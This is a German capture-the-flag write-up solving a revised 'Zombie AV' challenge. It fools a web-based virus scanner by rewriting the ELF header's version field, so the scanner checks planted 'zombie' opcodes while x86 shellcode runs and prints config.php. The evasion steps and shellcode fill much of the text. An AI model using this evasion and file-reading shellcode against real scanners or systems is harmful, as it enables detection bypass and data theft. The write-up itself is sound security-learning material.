Im weiteren Verlauf des Capture the Flags wurde die Challenge “Zombie AV” abgeändert, wohlmöglich um sie schwerer oder leichter zu machen. Die vorher vorgestelte Lösung funktioniert ab diesem Zeitpunkt nicht mehr.
Grund dafür ist eine Änderung im Quellcode der Datei “elfparsing.php”, die sich folgerndermaßen darstellt:
function getEntryPoint($contents) { global $readelfpath; global $objdumppath; $output=shell_exec($readelfpath.' -h '.$contents); $data = preg_match( '/0x[a-fA-F0-9]{5,8}/', $output,$matches); //$retValue=(hexdec($matches[0]) & 4294967288); $retValue=hexdec($matches[0]); return ($retValue ); }
Zeile 8 wurde auskommentiert(!!), was dazu führt, dass der Entry point und der Beginn der “Zombie-Opcodes” vom Scanner nun einheitlich betrachtet werden. Wir müssen also eine andere Lösung finden.
Die Schwachstelle ist jedoch immernoch die obige “getEntryPoint”-Funktion, da weiterhin einfach nur die erstbeste hexadezimale Speicheradresse der Ausgabe des Tools “readelf -h” per regulärem Ausdruck zur Überprüfung der Opcodes herangezogen wird (Zeile 7).
Wenn wir es also schaffen, eine weitere Speicheradresse vor den Entry Point in die Ausgabe von “readelf” zu schleusen, wird der “Zombie-Opcode” an dieser Adresse vom Scanner gesucht werden. Wir sehen uns dazu die Ausgabe von “readelf -h” etwas genauer an:
rup0rt@lambda:~$ readelf -h virus2 ELF Header: Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 Class: ELF32 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: Intel 80386 Version: 0x1 Entry point address: 0x8048062 Start of program headers: 52 (bytes into file) Start of section headers: 144 (bytes into file) Flags: 0x0 Size of this header: 52 (bytes) Size of program headers: 32 (bytes) Number of program headers: 1 Size of section headers: 40 (bytes) Number of section headers: 5 Section header string table index: 2
Da die Adresse oberhalb des eigentlichen Entry Points liegen muss, scheint auf den ersten Blick nur das Feld “Version” zur Manipulation geeignet, da die anderen Felder Einfluss auf die Interpretation als 32bit ELF-Binary, und so wohlmöglich auf deren Ausführung, zu haben scheinen.
Dies bestätigt auch ein Blick in den “ELF File Header“, der oberhalb des Entry Points nur einen einzigen 4-Byte-Datentyp (der wegen der Größe für eine Adresse benötigt wird) bereit hält. Dabei handelt es sich um die bereits erkannte “Version”.
/* ELF File Header */
typedef struct
{
unsigned char e_ident[EI_NIDENT]; /* Magic number and other info */
Elf32_Half e_type; /* Object file type */
Elf32_Half e_machine; /* Architecture */
Elf32_Word e_version; /* Object file version */
Elf32_Addr e_entry; /* Entry point virtual address */
Elf32_Off e_phoff; /* Program header table file offset */
Elf32_Off e_shoff; /* Section header table file offset */
Elf32_Word e_flags; /* Processor-specific flags */
Elf32_Half e_ehsize; /* ELF header size in bytes */
Elf32_Half e_phentsize; /* Program header table entry size */
Elf32_Half e_phnum; /* Program header table entry count */
Elf32_Half e_shentsize; /* Section header table entry size */
Elf32_Half e_shnum; /* Section header table entry count */
Elf32_Half e_shstrndx; /* Section header string table index */
} Elf32_Ehdr;
Da EI_NIDENT (der ELF-Magic) 16 Bytes groß ist, muss sich die Version bei Byte Nummer 16+2+2 = 20 befinden. Dieses Ändern wir nun testweise mit einem dem Hex-Editor “bless” auf 0x41414141.
Die anschließende Überprüfung mit dem Tool “readelf” führt zu folgender Ausgabe:
rup0rt@lambda:~$ readelf -h virus2
ELF Header:
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: Intel 80386
Version: 0x41414141
Entry point address: 0x8048062
Start of program headers: 52 (bytes into file)
Start of section headers: 144 (bytes into file)
Flags: 0x0
Size of this header: 52 (bytes)
Size of program headers: 32 (bytes)
Number of program headers: 1
Size of section headers: 40 (bytes)
Number of section headers: 5
Section header string table index: 2
Es funktioniert und die Datei ist weiterhin ausführbar! Damit steht der weitere Weg fest. Wir schreiben ein Programm, dass uns die Zieldatei “config.php” ausgibt und das einen korrekten Entry Point besitzt. An das Ende unseres Codes packen wir den “Zombie-Virus” und lassen das “Version”-Feld im ELF-Header auf den Beginn der “Zombie-Opcodes” zeigen.
Der Viren-Scanner müsste so den “Zombie-Virus” erkennen und bei Ausführung dennoch unseren Code ausführen. Wie verändern unseren Assembler-Quellcode daher wie folgt:
BITS 32 section .text global _start _start: xor eax, eax ; eax = 0 push eax ; Null-Word zum Ende des Strings push 0x7461632f ; STRING: tac/ push 0x6e69622f ; STRING: nib/ mov ebx, esp ; POINTER auf /bin/cat in EBX push eax ; Null-Word zum Ende des Strings push 0x7068702e ; STRING: php. push 0x6769666e ; STRING: gifn push 0x6f632f2e ; STRING: oc/. mov ecx, esp ; POINTER auf ./config.php in ECX push eax ; NULL als Teil der Argv-Liste push ecx ; "./config.php" als Teil der Argv-Liste push ebx ; FILENAME = "/bin/cat" mov ecx, esp ; POINTER auf ARGV[] in ECX mov byte al, 0xb ; SYSCALL 11 = EXECVE int 0x80 ; execve("/bin/cat/", [ "/bin/cat", "./config.php", NULL ], NULL); ; ZOMBIE-VIRUS mov BYTE al, 0x1 nop nop nop nop nop nop nop nop int 0x80
Nach dem Kompilieren muss nun noch die Position ermittelt werden, an der sich der “Zombie-Virus” befindet. Dazu benutzen wir das Tool “objdump”.
rup0rt@lambda:~$ objdump -d virus3
virus3: file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
[...]
8048086: b0 0b mov $0xb,%al
8048088: cd 80 int $0x80
804808a: b0 01 mov $0x1,%al
804808c: 90 nop
804808d: 90 nop
[...]
Der “Zombie-Opcode” beginnt also bei Adresse 0x0804808a. Mit dieser Adresse ersetzen wir, wie oben, die Version im ELF-Header. Dabei ist zu beachten, dass die Adresse in Little-Endian-Schreibweise in die Datei übernommen wird.
Demnach ergibt sich folgende Datei, die wir nun wieder an den online Viren-Scanner übergeben können. Als Antwort wird geliefert:
Auch hierbei konnte also der Viren-Scanner “überlistet” und unser Code, der den Inhalt der Datei “config.php” offenbart, zur Ausführung gebracht werden.
Die Lösung lautet “55c4080daefb5f794c3527101882b50b“.